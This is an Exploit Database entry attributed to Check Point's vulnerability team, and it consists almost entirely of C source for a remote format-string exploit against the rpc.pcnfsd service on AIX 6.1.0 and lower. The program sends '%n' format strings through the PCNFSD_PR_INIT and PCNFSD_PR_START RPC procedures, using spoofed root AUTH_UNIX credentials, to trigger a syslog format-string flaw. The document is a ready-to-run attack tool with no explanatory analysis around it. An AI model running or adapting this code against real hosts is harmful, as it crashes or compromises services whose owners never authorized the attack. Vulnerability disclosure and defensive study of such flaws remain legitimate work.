rpc.pcnfsd – Remote Format String

• Exploit Database
• 33 阅读

• 作者： Rodrigo Rubira Branco
  日期： 2010-07-18
• 类别：

  • remote
  平台：

  • aix
• 来源：https://www.exploit-db.com/exploits/14407/

• /*************************************************************************
  * Check Point Software Technologies - Vulnerability Discovery Team (VDT) *
  * Rodrigo Rubira Branco - <rbranco *noSPAM* checkpoint.com>		 *
  *									 *
  * rpc.pcnfsd syslog format string vulnerability				 *
  *************************************************************************/
  
  #include <stdlib.h>
  #include <stdio.h>
  #include <string.h>
  #include <unistd.h>
  #include <rpc/rpc.h>
  
  #define PCNFSD_PROG 150001
  #define PCNFSD_VERS 1
  #define PCNFSD_PR_INIT 2
  #define PCNFSD_PR_START 3
  
  struct cm_send {
   char *s1;
   char *s2;
  };
  
  struct cm_send2 {
   char *s1;
   char *s2;
  };
  
  struct cm_reply {
   int i;
  };
  
  bool_t xdr_cm_send(XDR *xdrs, struct cm_send *objp)
  {
   if(!xdr_wrapstring(xdrs, &objp->s1))
  return (FALSE);
   if(!xdr_wrapstring(xdrs, &objp->s2))
   return (FALSE);
  
   return (TRUE);
  }
  
  bool_t xdr_cm_send2(XDR *xdrs, struct cm_send2 *objp)
  {
   if(!xdr_wrapstring(xdrs, &objp->s1))
  return (FALSE);
   if(!xdr_wrapstring(xdrs, &objp->s2))
   return (FALSE);
  
   return (TRUE);
  }
  
  bool_t xdr_cm_reply(XDR *xdrs, struct cm_reply *objp)
  {
   if(!xdr_int(xdrs, &objp->i))
  return (FALSE);
   return (TRUE);
  }
  
  int
  main(int argc, char *argv[])
  {
   long ret, offset;
   int len, x, y, i;
   char *hostname, *b;
  
   CLIENT *cl;
   struct cm_send send;
   struct cm_send2 send2;
   struct cm_reply reply;
   struct timeval tm = { 10, 0 };
   enum clnt_stat stat;
  
   printf("-= rpc.pcnfsd remote format string exploit, tested against AIX 6.1.0 and lower =-\n");
   printf("-= Check Point Software Technologies - Vulnerability Discovery Team (VDT) =-\n");
   printf("-= Rodrigo Rubira Branco <rbranco *noSPAM* checkpoint.com> =-\n\n");
  
  
   if(argc < 2) {
  printf("Usage: %s [hostname]\n", argv[0]);
  exit(1);
   }
  
   hostname = argv[1];
  
   send.s1 = "AAAA%n%n%n%n%n%n%n%n%n"; // Create the dir on /var/spool/pcnfs
   send.s2 = "";
   send2.s1 = "AAAA%n%n%n%n%n%n%n%n%n";// Call the dir to trigger fmt bug
   send2.s2 = "";
  
   printf("\nSending PCNFSD_PR_INIT to the server ... ");
  
   if(!(cl=clnt_create(hostname,PCNFSD_PROG,PCNFSD_VERS,"udp"))){
  clnt_pcreateerror("\nerror");exit(-1);
   }
   stat=clnt_call(cl, PCNFSD_PR_INIT, xdr_cm_send, (caddr_t) &send,
  xdr_cm_reply, (caddr_t) &reply, tm);
  
   clnt_destroy(cl);
  
   printf("done!\n");
  
   printf("Sending PCNFSD_PR_START procedure ... ");
  
   if(!(cl=clnt_create(hostname,PCNFSD_PROG,PCNFSD_VERS,"udp"))){
  clnt_pcreateerror("\nerror");exit(-1);
   }
  
   cl->cl_auth = authunix_create("localhost", 0, 0, 0, NULL);
   stat=clnt_call(cl, PCNFSD_PR_START, xdr_cm_send2, (caddr_t) &send2,
  xdr_cm_reply, (caddr_t) &reply, tm);
  
   printf("done!\n");
   clnt_destroy(cl);
  
  }